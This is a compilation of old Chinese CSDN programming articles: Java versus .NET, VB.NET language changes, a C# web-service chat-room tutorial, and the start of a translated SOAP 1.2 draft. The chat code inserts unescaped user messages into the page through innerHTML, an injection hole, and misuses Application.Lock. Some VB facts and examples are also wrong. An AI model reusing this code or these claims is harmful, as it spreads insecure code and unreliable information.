和新的用户界面组件(Windows窗体以及Web窗体),ASP+可以 编译成为
中间语言，这同JavaServer PagesTM(JSPTM)最终编译成为Jave字节
代码一样。对于ASP+现在还没有第三方供应商。而对于JSPTM有相当
多的第三方供应商提供不通平台的解决方案。另外，自由软件Apache
已经取代了JSP的位置。

微软同时也推出了新的编程语言，称为C#(读C Sharp)。C#是C/C++家
族中具有垃圾回收功能的语言。它同Java十分的相似。C#是完全基于
对象的，包含一个基本类，同时支持通过界面实现多重继承。C#同
Java之间的差异多是主观的，所以很难客观的评价哪一种比较好。微
软暗示他们会将C#提交作为业界标准，这种提议值得鼓励，但是C#只
是一种语言，并不是.NET平台的全部。微软并没有暗示整个.NET平台
会作为业界标准提交，所以标准化只限于语言级。

即使这样，C#开发者还是会面对一个问题，使用C#开发就等于将自己
绑到了Windows平台上。一个.NET应用程序很难输出到其它平台上。
而Java语言、Java虚拟机以及API对于供应商是中立的，不会存在被
捆绑到那个平台上的问题。

Jave平台比.NET平台优越的方面已经很明显了。关键的区别是Jave平
台是一个成熟的、跨平台的解决方案。而.NET只是一个基于Windows
的解决方案。微软提出过通用语言运行库可以被输出到其它操作系
统，但这只是.NET的一部分。很多基本组件以及所有的应用级架构被
捆绑到了Windows平台中。这就是说应用程序只能在.NET平台下建
立，只能运行于Windows下。

与此相对照的是，所有的Java运行环境具有相同的API核心集，不管
操作系统是什么。Java运行环境可以存在于Windows、MacOS Linux、
Solaris甚至是OS/390。这就是说可以在桌上计算机上编写及测试代
码然后将其安装到高端服务器甚至大型主机上。而.NET平台下编写的
程序只能运行在微软平台下。微软说.NET是一个创新的平台，实际上
他们所做的只是给程序开发者一副升级的手铐
(原文是：but what they're really doing is giving developers
an updated set of handcuffs)

Java平台意味这更多选择。Sun并不是唯一的Java平台供应商。IBM、
Symantec、Apple以及一些源代码开放工程都研发了在不同操作系统
下的Java平台以及工具。基于Java平台，开发者可以选择不同的开发
工具。反之微软则强制他们使用Visual Studio。

通过开放源代码，很多Java平台的安全漏洞被检测出来。而并没有迹
象微软会公开.NET平台的全部代码。

Java平台对于企业来说意味这更多选择，Java运行环境可以通过不通
渠道获得并且是可互换的。Sun已经发布了Java 2平台企业版(J2EE)
的参考文档。很多第三方供应商已经非常稳定的运行了J2EE解决方
案，象BEA Weblogic, IBM Websphere, 以及Bluestone
Saphire/Web。这些解决方案所面对的问题是性能以及支持，关于兼
容性则完全没有问题，在这些应用服务器上编写的代码可以不经修改
的在其它的应用服务器上运行。这对现在的不同企业来说是很有竞争
力的。

结论
毫无疑问的，连微软都需要承认：Java平台是一个非常优秀并且取得
了巨大成功的技术，它支持跨平台应用、中立供应商的解决方案。而
微软仍然在推行单平台、特定供应商的解决方案。.NET平台只是
Visual C++以及Visual Basic技术的改进。


csdn_VB.Net语言方面的改进

VB.Net语言方面的改进
内容:
我们在很多的编程论坛或者新闻组中可以看到C++的拥护者将VB称为
一个玩具语言(Toy Language)。其中VB最
被人诟病的是它不真正支持面向对象编程(oop)。
在新的Visual Basic中，这些都将成为过去。Visual Basic.NET将真
正支持oop。继承(inheritance)、多态
(polymorphism)以及重载(overloading)。当然还不止这些。包括一
些新的数据结构、结构性的错误控制(Error
Handing)以及线程。这些都将被新的VB所支持。

继承
假设你编写了一个只包含一个函数的名称为BaseClass的基本
类：

Function GetCustomerName()
' Do some stuff
End Function

如果你想建立一个新类，并使用BaseClass中的GetCustomerName
函数。但有不想重写一编代码。那么通过继承，
你可以这样编写新类:

Inherits BaseClass

Function GetCustomerID()
' Do some stuff
End Function

重载
重载就是建立两个具有同样你名称但是参数属性不同的函数的过
程。假设有GetCustomID函数根据输入输出用
户的ID号码。那么该函数可能有以下两种类型：

Function GetCustomerID(custname as string) As Integer
' 通过用户名获得用户ID
End Function

Function GetCustomerID(purch as long) As Integer
' 根据购物单号码获得用户ID
End Function

通过重载，你就可以根据不同类型的输入调用同一个函数。
实际上现在的VB在某种程度上提供了重载的功能，考虑下面的函数：

Function GetCustomID(vIN As Variant) As Long
GetCustomID = vIN
End Function

你可以以下面两种方式调用

ID = GetCustomID("123")
或者
ID = GetCustomID(123)

那么为什么还要在新版本中引进重载呢？这是因为新的Visual
Basic引进了新的特性：类型安全(default
type safety)。在Visual Basic.NET中，Variant类型将不复存在，
详细的介绍看下面关于升级部分的内容。

多态
多态是在一个类中重新定义一个函数的过程。例如你需要建立一
个基于BaseClass类的子类，但是又需要重新
编写GetCustomerName函数，在新版的VB中，你就可以这样写：

Inherits BaseClass

Function GetOrders()
Overrides Function GetOrders()
...
End Function

线程
新的Visual Basic语言结构部分将包含建立多线程，一个线程建
立的范例如下：

set t = New Thread(New Threadstart
(AddressOf(BaseClass.Function1))

从上面的范例还可以看到，Visual Basic.NET中的AddressOf函
数将真正返回函数的指针。这在进行API调用，
例如回调函数方面将是很有帮助的。

错误处理(Error Handling)
Visual Basic.NET的另外一个大的改进就是错误处理。Visual
Basic将提供try…catch…finally结构，就象
Delphi中的那样(微软的原文是:just like those "respectable"
languages :-))。例如：

Sub SafeWrite()
Try
Open "Testfile"
...
Write #1
Catch
Kill "Testfile"
Finally
Close #1
End Try
End Sub

升级
当代码升级后，Visual Basic.NET会建立一个新的升级工程。下
面通过几个例子来说明你的代码做了那些升级

Variant类型到Object类型
以前版本的Visual Basic支持Variant数据类型，该类型可以设
定为除了固定程度字符串外的任何原始数据类
型和Empty,Error,Nothing和Null。在Visual Basic.NET中，Object
数据类型可以设定为任何原始数据类型和Empty,
Error,Nothing,Null和对象指针。当你的工程升级到Visual
Basic.NET后，任何Variant定义都会改变为Object。
同样，当你在编辑器中插入代码时，Variant关键字也会被替换为
Object。

Integer数据类型到Short数据类型
在Visual Basic 6.0中，16bit数现在称为Short。32bit数称为
Integer（64bit数称为Long）。当工程升级后，
数据定义会做如下改动：

Dim x As Integer
dim y as Long
更改为：

Dim x As Short
dim y as Integer

属性语法
Visual Basic.NET对于自定义属性的语法作乐更加直观的更改，
将Get和Set合而为一。例如原来的属性如下：

Property Get MyProperty() As Integer
m_MyProperty = MyProperty
End Property
Property Let MyProperty(NewValue As Integer)
m_MyProperty = NewValue
End Property

升级后更改为：

Property MyProperty() As Short
Get
m_MyProperty = MyProperty
End Get
Set
m_MyProperty = Value
End Set
End Property

VB窗体到Windows窗体
Visual Basic.NET包含新的窗体包，Windows窗体，Windows窗体
包含内含菜单编辑器。你的VB窗体会升级到
Windows窗体。

界面
在先前的版本中，公用类界面对于用户总是隐藏的。在Visual
Basic.NET中，公用类可以在代码窗口中浏览和编辑。

升级报告及注释
当工程升级后，升级报告会添加到你的工程中，详细列出所有升
级后的你所需要对代码做的更改。同时代码中
会加入注释提示你注意任何潜在的问题。这些注释自动出现在
Visual Basic.NET的任务列表中。


csdn_为什么Visual Basic.NET不提供100%的继承性？

为什么Visual Basic.NET不提供100%的继承性？
内容:
当在设计Visual Basic.NET时有两个方向：翻新以及完全新建。为了
体供给用户尽可能多的新特性（例如继
承以及线程），为了提供对新平台的完全访问，以及为了使Visual
Basic能够完全转移到下一代的Web应用中。正
确的选择是完全新建。

例如，很多在Windows窗体中的新特性可以通过在现有的代码中
添加新控件以及属性来实现。但是这样就会牺
牲新的Windows窗体的很多内在特性，例如安全以及可视继承性。

一个重要的目标是使Visual Basic代码可以完全集成到用其它语
言编写的代码中，例如Microsft C#（读C Sharp）
或者Visual C++。以及让Visual Basic开发者可以完全而且简单利
用.NET框架的功能，而不需要象原来那样使用
Windows API调用。所有的Visual语言将与其它面向通用运行时语言
（Common Language Runtime）的语言使用相同
的数据定义类型、数组、用户自定义数组、类以及界面。不过这样就
要做一些牺牲，例如固定长度字符串以及以非
0数为下界的数组将不再被支持。

Visual Basic现在已经成为一个真正面向对象语言，一些不一致
的特性，例如 GoSub/Return语句以及DefInt
已经从新语言中移走了。
这样的结果是使Visual Basic更加具有活力，使其成为一种开发
基于Windows应用的最有效的工具之一，同时
也是开发下一代的Web站点的最佳工具。


csdn_无刷新的聊天室的制作兼谈组件制作和ClientSide Script（一）

无刷新的聊天室的制作兼谈组件制作和ClientSide Script（一）
我们在传统的web程序当中比较头疼的一件事是屏幕的刷新感。虽然有server push的技术，但在IE中较难实现。现在webservice给了我们这样一个机会，大家都知道webservice是基于soap的，而soap是xml的应用，如果你曾经用过ms xml sdk3.0的话就会知道里面有个xmlhttp方法，其实在那时我们就已经可以用xmlhttp的方式替代Form了，也是无刷新的，其实准确地说是局部刷新，下面我们来看一下怎样做，先做一个chat webservice, 首先来分析一下，一个聊天室应具备的两个要素人和消息，这样我们可以建立一个类型（记得我在以前说过类也是类型），它包含这样两个要素。
///ChatMessage.cs
using System;

namespace chat
{
/// <summary>
/// ChatMessage类封装了两个string变量:UserLists--用户列表，Messages--要传递的信息
/// </summary>
public class ChatMessage
{
public string UserList, Messages;
}
}
第二个我们要建立的是什么呢？一个聊天室应能存储在线成员的名字及访问时间
///Member.cs
using System;

namespace chat
{
/// <summary>
/// Member类为每个聊天者封装了Server端的变量
/// </summary>
public class Member
{
// 存储消息的队列
public string UserName, MsgQueue;
// 判断滞留事件以便踢人
public System.DateTime LastAccessTime;
// The constructor
public Member(string NickName)
{
this.UserName=NickName;
this.LastAccessTime=DateTime.Now;
}
}
}

接下来我们就应该做这个asmx了
///ChatWebService.asmx
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Web;
using System.Web.Services;

namespace chat
{
/// <summary>
/// Summary description for ChatWebService.
/// </summary>
[WebService (Namespace = "http://localhost/chat/", Description = "This service provides an chat service")]
public class ChatWebService : System.Web.Services.WebService
{
public ChatWebService()
{
//CODEGEN: This call is required by the ASP.NET Web Services Designer
InitializeComponent();
}

#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
}
#endregion

/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
}

[WebMethod(Description="接收用户名作为参数存储到Application对象中")]
public string Login(string username)
{
// Ascertain that all the registered chat participants are active
CheckMembersList();
// Synchronization Lock
Application.Lock();
// Get the collection of keys for the Application Variables
String[] Members = Application.AllKeys;
// Are there any registered chat members? & the present request is for a unique nick name?
if ((Members.Length>0)&&(Array.IndexOf(Members,username)>-1))
{
throw new Exception("该用户已存在！");
}
// Create a new Member object for this participant
Member NewMember = new Member(username);
// Add this new member to the collectionof Application Level Variables
Application.Add(username, NewMember);
// Synchronization unlock
Application.UnLock();
// Go and get the list of current chat participants and retrun the list
return GetMembersList();
}

[WebMethod(Description="GetMsg方法用用户名和消息为参数返回一个ChatMessage对象，包括要传递的消息和用户列表")]
public ChatMessage XchangeMsgs(string username, string Msg)
{
// Ascertain that all the registered chat participants are active
CheckMembersList();
// Synchronization Lock
Application.Lock();
// Get the collection of keys for the Application Variables
String[] Members = Application.AllKeys;
if ((Members.Length==0)||(Array.IndexOf(Members,username)==-1))
// Are there any registered chat members? & the present request is for a unique nick name?
{
throw new Exception("你当前可能没有登陆或登陆超时，请重新登陆！");
}
ChatMessage RetMsg = new ChatMessage();

RetMsg.UserList = GetMembersList();
// Loop through all the Chat Participant's serverside Member Objects and
// add the message just received in their waiting message queue
for (int x=0;x<Members.Length;x++)
{
Member temp = (Member)Application[Members[x]];
temp.MsgQueue+=("<BR><Font color = Red>" + username + " 说:<BR></FONT><Font color = Blue>" + Msg);
if (temp.UserName == username)
{
RetMsg.Messages = temp.MsgQueue;
temp.MsgQueue="";
temp.LastAccessTime=DateTime.Now;
}
}
// Synchronization unlock
Application.UnLock();
return RetMsg;
}

[WebMethod(Description="GetMsg方法用username为参数返回一个ChatMessage对象，包括要传递的消息和用户列表")]
public ChatMessage GetMsgs(string username)
{
Application.Lock();
CheckMembersList();
Application.Lock();
String[] Members = Application.AllKeys;
if ((Members.Length==0)||(Array.IndexOf(Members,username)==-1))
{
throw new Exception("Unknown User. Please Login with a UserName");
}
ChatMessage RetMsg = new ChatMessage();
RetMsg.UserList = GetMembersList();
Member temp = (Member)Application[username];
RetMsg.Messages = temp.MsgQueue;
temp.MsgQueue="";
temp.LastAccessTime=DateTime.Now;
Application.UnLock();
return RetMsg;
}

public string GetMembersList()
{
Application.Lock();
String UserList = "";
String[] Members = Application.AllKeys;
Application.UnLock();
for (int x=0;x<Members.Length;x++)
{
Member temp = (Member)Application[Members[x]];
UserList += (temp.UserName+"\n");
}
return UserList;
}

private void CheckMembersList()
{
String[] Members = Application.AllKeys;
ArrayList RemoveList = new ArrayList();
for (int x=0;x<Members.Length;x++)
{
Member temp = (Member) Application[Members[x]];
int test = (DateTime.Now.Subtract(temp.LastAccessTime)).Minutes;
if (test > 2)
{
RemoveList.Add(Members[x]);
}
}
// Users = null;
for (int count = 0;count<RemoveList.Count;count++)
{
Application.Remove((String)RemoveList[count]);
}
return;
}

}
}


csdn_无刷新的聊天室的制作兼谈组件制作和ClientSide Script（二）

无刷新的聊天室的制作兼谈组件制作和ClientSide Script（二）
好了，至此，我们的webservice就完成了，大家可能不满了，还是没实现无刷新嘛，别急，这是客户端的事。下面我们就来做这项工作。
一般来说我们完全可以做一个html页面，而不用server page，但为了顺便说明怎样做组件，我决定作一个server control,先来看一下代码
using System;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
using System.ComponentModel;

namespace Michael.Web.UI.Controls
{
/// <summary>
/// Summary description for chat.
/// </summary>
[DefaultProperty("Text"),
ToolboxData("<{0}:chat runat=server></{0}:chat>")]
public class chat : System.Web.UI.WebControls.Table
{
private string doc;
private string text;
[Bindable(true),
Category("Appearance"),
DefaultValue("")]
public string Text
{
get
{
return text;
}

set
{
text = value;
}
}

/// <summary>
/// Render this control to the output parameter specified.
/// </summary>
/// <param name="output"> The HTML writer to write out to </param>
protected override void Render(HtmlTextWriter output)
{
// The script block is written to the client
output.Write(doc);

base.Render(output);
}

private string Serviceurl = "http://localhost/chat/ChatWebService.asmx?WSDL";
[Bindable(true),
Category("WebServiceProperty"),
DefaultValue("http://localhost/chat/ChatWebService.asmx?WSDL")]
public string ServiceURL
{
get
{
return Serviceurl;
}
set
{
Serviceurl = value;
}
}
private string Behaviorurl = "http://localhost/chat/webservice.htc";
[Bindable(true),
Category("WebServiceProperty"),
DefaultValue("")]
public string BehaviorURL
{
get
{
return Behaviorurl;
}
set
{
Behaviorurl = value;
}
}

private string tablecssclass;
[Bindable(true),
Category("LayoutProperty"),
DefaultValue("")]
public string TableCssClass
{
get
{
return tablecssclass;
}
set
{
tablecssclass = value;
}
}

private string titlecssclass;
[Bindable(true),
Category("LayoutProperty"),
DefaultValue("")]
public string TitleCssClass
{
get
{
return titlecssclass;
}
set
{
titlecssclass = value;
}
}

private string onlinecssclass;
[Bindable(true),
Category("LayoutProperty"),
DefaultValue("")]
public string OnlineCssClass
{
get
{
return onlinecssclass;
}
set
{
onlinecssclass = value;
}
}

private string msgcssclass;
[Bindable(true),
Category("LayoutProperty"),
DefaultValue("")]
public string MSGCssClass
{
get
{
return msgcssclass;
}
set
{
msgcssclass = value;
}
}

private string selusercssclass;
[Bindable(true),
Category("LayoutProperty"),
DefaultValue("")]
public string SelUserCssClass
{
get
{
return selusercssclass;
}
set
{
selusercssclass = value;
}
}
protected override void OnInit(EventArgs e)
{
this.ID = "service";

this.Style["Behavior"] = "url('" + Behaviorurl + "')";

this.Style["Table-Layout"] = "Fixed";

if( this.Attributes["class"] == null) this.Attributes["class"] = tablecssclass;

this.Attributes["onresult"] = UniqueID + "_onmyresult();";

TableRow tr;
// And also create 7 Table Cell elements one by one
TableCell cell = new TableCell();

cell.Attributes["class"] = titlecssclass;
cell.Attributes["Align"] = "Left";

// Set the caption of the control
cell.Text = "Portal 聊天室";
// Instantiate a Table Roa and attach the First Cell to it
tr = new TableRow();
tr.Cells.Add(cell);
// Add the Table Row to our Control
this.Rows.Add(tr);

// Row No 2 starts here

cell = new TableCell();

cell.Attributes["class"] = onlinecssclass;
cell.Text = "在线人员";
tr = new TableRow();
tr.Cells.Add(cell);
this.Rows.Add(tr);

// Row No 3 Starts here

cell = new TableCell();
cell.Style["Height"] = "25%";
// We create a DIV element using HtmlGenericControl object
// We can also do this using the Panel object
HtmlGenericControl d = new HtmlGenericControl("Div");
d.ID = UniqueID + "_ChatMsgs";
d.Style["Height"] = "100%";
d.Style["Width"] = "100%";
d.Style["Overflow"] = "Auto";
d.Style["Padding-Left"] = "15%";
d.ID = UniqueID + "_ChatList";
// Adding the DIV element to the Table Cell
cell.Controls.Add(d);
tr = new TableRow();
tr.Cells.Add(cell);
this.Rows.Add(tr);

// Row No 4 Starts here

cell = new TableCell();

cell.Attributes["class"] = msgcssclass;
cell.Text = "消息:";
tr = new TableRow();
tr.Cells.Add(cell);
this.Rows.Add(tr);

// Row No 5 starts here

cell = new TableCell();
cell.Style["Height"] = "35%";
d = new HtmlGenericControl("Div");
d.ID = UniqueID + "_ChatMsgs";
d.Style["Height"] = "100%";
d.Style["Width"] = "100%";
d.Style["Overflow"] = "Auto";
cell.Controls.Add(d);
tr = new TableRow();
tr.Cells.Add(cell);
this.Rows.Add(tr);

// Row No 6 Starts here

cell = new TableCell();

cell.Attributes["class"] = selusercssclass;
cell.ID = UniqueID + "_Prompt";
cell.Text = "选择一个用户:";
tr = new TableRow();
tr.Cells.Add(cell);
this.Rows.Add(tr);

// Row No 7 starts here

cell = new TableCell();
cell.Text = "<INPUT Type=\"Text\" id= '" + UniqueID + "_UserInput'> \r\n";
cell.Text += "<BR>\r\n";
cell.Text += "<Button id = '" + UniqueID + "_bnSendMsg' onclick = \"return SendMsg();\" class = " + UniqueID + "_TitleLabel style = \"display:none\"> 发送 </Button>\r\n";
cell.Text += "<Button id = '" + UniqueID + "_bnSelectName' onclick = \"return " + UniqueID + "_SelectName();\" class = " + UniqueID + "_TitleLabel style = \"display:block\"> 登陆 </Button> \r\n";
cell.Style["Color"] = "Black";
cell.Style["Background-Color"] = "Gainsboro";
tr = new TableRow();
tr.Cells.Add(cell);
this.Rows.Add(tr);

// First script Block is written into 'doc' variable

doc = "\r\n<SCRIPT FOR = 'window' EVENT = 'onload()'>";
doc += "//alert(\"done\"); \r\n";
doc += "service.use(\"";
doc += Serviceurl + "\",\"ChatWebService\"); \r\n";
doc += "" + UniqueID + "_UserInput.focus();\r\n";
doc += "</SCRIPT> \r\n";

// Then the second script block follows

doc += "<script language=\"JavaScript\">\r\n";
doc += "var " + UniqueID + "_iCallID1, " + UniqueID + "_iCallID2, " + UniqueID + "_iCallID3; \r\n";
doc += "var " + UniqueID + "_NickName; \r\n";
doc += "var " + UniqueID + "_MsgXML = new ActiveXObject(\"MSXML.DOMDocument\");\r\n";
doc += "function " + UniqueID + "_SelectName() \r\n";
doc += "{ \r\n";
doc += "if (" + UniqueID + "_UserInput.value == \"\") return false;\r\n";
doc += "" + UniqueID + "_NickName = " + UniqueID + "_UserInput.value; \r\n";
doc += "" + UniqueID + "_bnSelectName.disabled = 'true'; \r\n";
doc += "" + UniqueID + "_UserInput.disabled = 'true';\r\n";
doc += "" + UniqueID + "_iCallID1 = service.ChatWebService.call(\"Login\"," + UniqueID + "_NickName); \r\n";
doc += "} \r\n";
doc += "function " + UniqueID + "_onmyresult() \r\n";
doc += "{ \r\n";
doc += "if((event.result.error)&&(" + UniqueID + "_iCallID1==event.result.id)) \r\n";
doc += "{ \r\n";
doc += "var xfaultcode = event.result.errorDetail.code; \r\n";
doc += "var xfaultstring = event.result.errorDetail.string; \r\n";
doc += "var xfaultsoap = event.result.errorDetail.raw;\r\n";
doc += "\r\n";
doc += "// Add code to output error information here\r\n";
doc += "alert(xfaultstring);\r\n";
doc += "" + UniqueID + "_bnSelectName.disabled = false;\r\n";
doc += "" + UniqueID + "_UserInput.disabled = false; \r\n";
doc += "" + UniqueID + "_UserInput.focus();\r\n";
doc += "\r\n";
doc += "} \r\n";
doc += "else if((!event.result.error)&&(" + UniqueID + "_iCallID1==event.result.id)) \r\n";
doc += "{ \r\n";
doc += "" + UniqueID + "_ChatList.innerText= event.result.value; \r\n";
doc += "" + UniqueID + "_ChatList.scrollTop = 2000; \r\n";
doc += "" + UniqueID + "_bnSelectName.style.display = 'none';\r\n";
doc += "" + UniqueID + "_bnSendMsg.style.display = 'block';\r\n";
doc += "" + UniqueID + "_UserInput.value = \"\"; \r\n";
doc += "" + UniqueID + "_UserInput.disabled = false; \r\n";
doc += "" + UniqueID + "_UserInput.focus();\r\n";
doc += "" + UniqueID + "_Prompt.innerText = " + UniqueID + "_NickName + \" 说:\"; \r\n";
doc += "window.setTimeout('" + UniqueID + "_iCallID2 = service.ChatWebService.call(\"GetMsgs\"," + UniqueID + "_NickName);',3000); \r\n";
doc += "} \r\n";
doc += "else if((event.result.error)&&(" + UniqueID + "_iCallID2==event.result.id))\r\n";
doc += " {\r\n";
doc += "var xfaultcode = event.result.errorDetail.code; \r\n";
doc += "var xfaultstring = event.result.errorDetail.string; \r\n";
doc += "var xfaultsoap = event.result.errorDetail.raw;\r\n";
doc += "// Add code to output error information here\r\n";
doc += "alert(\"xfaultstring\");\r\n";
doc += " }\r\n";
doc += " else if((!event.result.error)&&(" + UniqueID + "_iCallID2==event.result.id))\r\n";
doc += " {\r\n";
doc += "var xmlResult = event.result.raw.xml; \r\n";
doc += " if (xmlResult != \"\" && xmlResult != null)\r\n";
doc += " {\r\n";
doc += "\r\n";
doc += "" + UniqueID + "_MsgXML.loadXML(xmlResult);\r\n";
doc += " " + UniqueID + "_ChatList.innerText = " + UniqueID + "_MsgXML.selectSingleNode(\"//UserList\").text; \r\n";
doc += "" + UniqueID + "_ChatList.scrollTop = 2000; \r\n";
doc += " " + UniqueID + "_ChatMsgs.innerHTML += " + UniqueID + "_MsgXML.selectSingleNode(\"//Messages\").text;\r\n";
doc += "" + UniqueID + "_ChatMsgs.scrollTop = 2000; \r\n";
doc += " }\r\n";
doc += " window.setTimeout('" + UniqueID + "_iCallID2 = service.ChatWebService.call(\"GetMsgs\"," + UniqueID + "_NickName);',3000);\r\n";
doc += " }\r\n";
doc += "else if((event.result.error)&&(" + UniqueID + "_iCallID3==event.result.id))\r\n";
doc += " {\r\n";
doc += "var xfaultcode = event.result.errorDetail.code; \r\n";
doc += "var xfaultstring = event.result.errorDetail.string; \r\n";
doc += "var xfaultsoap = event.result.errorDetail.raw;\r\n";
doc += "// Add code to output error information here\r\n";
doc += "alert(\"xfaultstring\");\r\n";
doc += " }\r\n";
doc += " else if((!event.result.error)&&(" + UniqueID + "_iCallID3==event.result.id))\r\n";
doc += " {\r\n";
doc += "var xmlResult = event.result.raw.xml; \r\n";
doc += " if (xmlResult != \"\" && xmlResult != null)\r\n";
doc += " {\r\n";
doc += "\r\n";
doc += "" + UniqueID + "_MsgXML.loadXML(xmlResult);\r\n";
doc += " " + UniqueID + "_ChatList.innerText = " + UniqueID + "_MsgXML.selectSingleNode(\"//UserList\").text; \r\n";
doc += " " + UniqueID + "_ChatMsgs.innerHTML += " + UniqueID + "_MsgXML.selectSingleNode(\"//Messages\").text;\r\n";
doc += " " + UniqueID + "_ChatList.scrollTop = 2000; \r\n";
doc += " " + UniqueID + "_bnSendMsg.disabled = false;\r\n";
doc += " " + UniqueID + "_ChatMsgs.scrollTop = 2000; \r\n";
doc += " " + UniqueID + "_UserInput.value = \"\";\r\n";
doc += " " + UniqueID + "_UserInput.disabled = false;\r\n";
doc += " " + UniqueID + "_UserInput.focus();\r\n";
doc += " }\r\n";
doc += " window.setTimeout('" + UniqueID + "_iCallID2 = service.ChatWebService.call(\"GetMsgs\"," + UniqueID + "_NickName);',3000);\r\n";
doc += " }\r\n";
doc += "} \r\n";
doc += "function SendMsg()\r\n";
doc += "{ \r\n";
doc += "if (" + UniqueID + "_UserInput.value == \"\") return false;\r\n";
doc += "" + UniqueID + "_bnSendMsg.disabled = 'true';\r\n";
doc += "" + UniqueID + "_UserInput.disabled = 'true';\r\n";
doc += "" + UniqueID + "_iCallID3 = service.ChatWebService.call(\"XchangeMsgs\"," + UniqueID + "_NickName," + UniqueID + "_UserInput.value);\r\n";
doc += "} \r\n";
doc += "</script> \r\n";

}
}
}
这里有几个问题，
1。我们继承的是Table，记住table等server端控件本身就继承了control类，我们做控件不一定要直接继承control
2。[“。。。”]是metadata他是用来做可视化控件的具体含义看msdn
3。我们这里采用client script的方法，可以看出实现方式与asp中大体一致，即Server端“写”script
4。Dhtml Behavior的应用，Behavior是MS扩展的css元素，大家可去msdn查


SOAP Version 1.2

W3C Working Draft 9 July 2001

英文版:
http://www.w3.org/TR/2001/WD-soap12-20010709/
英文版的最后版:
http://www.w3.org/TR/soap12/
英文版编辑:
Martin Gudgin (DevelopMentor)
Marc Hadley (Sun Microsystems)
Jean-Jacques Moreau (Canon)
Henrik Frystyk Nielsen (Microsoft Corp.)

中文版:
http://www.uddi-china.org/pubs/misc/soap12.htm
中文版编辑:
柴晓路, Fennivel Chai (DealEasy)

Copyright ©2001 W3C ® (MIT, INRIA, Keio), All Rights Reserved. W3C liability, trademark, document use and software licensing rules apply.

Abstract

SOAP 1.2为在一个松散的、分布的环境中使用XML对等地交换结构化的和类型化的信息提供了一个简单且轻量级的机制。这是一个基于XML的协议，同时它由四部分组成: 一个作为描述在消息中的内容以及如何处理消息的信息框架的信封(envelope)，一组用于表示应用定义的数据类型的编码规则(encoding rules)，一个用于表示远程过程调用和返回的约定以及一个使用底层协议进行消息交换的绑定(binding)约定。潜在地，SOAP可以与很多其他的协议绑定使用；不过，在本文档中，只定义了SOAP与HTTP已经SOAP与HTTP Extension Framework的绑定。

Status of this Document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. The latest status of this document series is maintained at the W3C.

This is the first W3C Working Draft of the SOAP version 1.2 specification for review by W3C members and other interested parties. It has been produced by the XML Protocol Working Group (WG), which is part of the XML Protocol Activity.

The XML Protocol Protocol Working Group has, in keeping with its charter, produced a set of requirements and usage scenarios that have been published as a Working Draft. To better evaluate SOAP/1.1 against these requirements and usage scenarios, the Working Group has produced an abstract model and a glossary of terms and concepts used by the Working Group. In addition, the Working Group has produced an issues list that describes issues and concerns raised by mapping its requirements and the XMLP abstract model against the SOAP/1.1 specification as well as issues raised on the <xml-dist-app@w3.org> mailing list against SOAP/1.1.

The current name for this specification is SOAP version 1.2, this first Working Draft being based on SOAP/1.1 as per the Working Group's charter (see change log in appendix D)

Comments on this document should be sent to xmlp-comments@w3.org (public archives). It is inappropriate to send discussion emails to this address.

Discussion of this document takes place on the public <xml-dist-app@w3.org> mailing list (Archives) per the email communication rules in the XML Protocol Working Group Charter.

This is a public W3C Working Draft. It is a draft document and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use W3C Working Drafts as reference material or to cite them as other than "work in progress". A list of all W3C technical reports can be found at http://www.w3.org/TR/.

Table of Contents

1. 引言
1.1 设计目标
1.2 符号约定
1.3 SOAP消息示例
1.4 SOAP术语
1.4.1 协议概念
1.4.2 数据封装概念
1.4.3 消息发送者和接收者概念
1.4.4 数据编码概念
2. SOAP消息交换模型
2.1 SOAP结点
2.2 SOAP角色与SOAP 结点
2.3 定位SOAP Header条目
2.4 理解SOAP Header
2.5 处理消息
3. 与XML的关系
4. SOAP信封
4.1.1 SOAP encodingStyle属性
4.1.2 Envelope版本模型
4.2 SOAP Header
4.2.1 使用Header属性
4.2.2 SOAP actor 属性
4.2.3 SOAP mustUnderstand 属性
4.3 SOAP Body
4.3.1 SOAP Header和Body的关系
4.4 SOAP错误
4.4.1 SOAP错误代码
4.4.2 MustUnderstand错误
5. SOAP编码
5.1 使用XML进行类型编码的规则
5.2 简单类型
5.2.1 字符串
5.2.2 枚举
5.2.3 字节数组
5.3 多态存取标识
5.4 复合类型
5.4.1 复合值及对值的引用
5.4.2 数组
5.4.2.1 部分传输数组
5.4.2.2 稀疏数组
5.4.3 通用复合类型
5.5 默认值
5.6 SOAP root属性
6. 在HTTP中使用SOAP
6.1 SOAP HTTP请求
6.1.1 HTTP Header中的SOAPAction字段
6.2 SOAP HTTP响应
6.3 HTTP扩展框架
6.4 SOAP HTTP示例
7. 在RPC中使用SOAP
7.1 RPC和SOAP Body
7.2 RPC和SOAP Header
8. 安全机制的考虑
9. 参考文献
9.1. Normative references
9.2. Informative references
A. SOAP Envelope Examples
A.1 Sample Encoding of Call Requests
A.2 Sample Encoding of Response
B. Acknowledgements
C. Version Transition From SOAP/1.1 to SOAP/1.2
D. Change Log
D.1 SOAP Specification Changes
D.2 XML Schema Changes

1. 引言

SOAP v1.2为在一个松散的、分布的环境中使用XML对等地交换结构化的和类型化的信息提供了一个简单且轻量级的机制。SOAP本身并不定义任何应用语义，如编程模型或特定语义实现，它只是定义了一种简单的机制，通过一个模块化的包装模型和对模块中特定格式编码的数据的重编码机制来表示应用语义。SOAP的这项能力使得它可被很多类型的系统用于从消息系统到RPC(Remote Procedure Call)的延伸。

SOAP由四部分组成:

  1. SOAP envelop (SOAP信封，参阅 section 4)，它构造定义了一个整体的表示框架，可用于表示在消息(message)中的是什么，谁应当处理它，以及这是可选的 还是强制的。

  2. SOAP encoding rules (SOAP编码规则，参阅 section 5)，定义了一个编序机制用于交换应用程序定义的数据类型的实例。

  3. SOAP RPC representation (SOAP RPC表示，参阅 section 7)，定义了一个用于表示远端过程调用和响应的约定。

  4. SOAP binding (SOAP绑定，参阅 section 6) 定义了一个使用底层传输协议来完成在结点间交换SOAP信封的约定。

为了简化本规范，这四部分在功能上是正交的。特别的，信封和编码规则是被定义在不同的命名空间(namespace)中，这样有利于通过模块化获得简明性。

本规范还定义了两种SOAP绑定(binding)，用于描述SOAP消息(message)如何通过带或不带HTTP扩展框架[6](HTTP Extension Framework)的HTTP[5]消息(message)进行传输。

1.1 设计目标

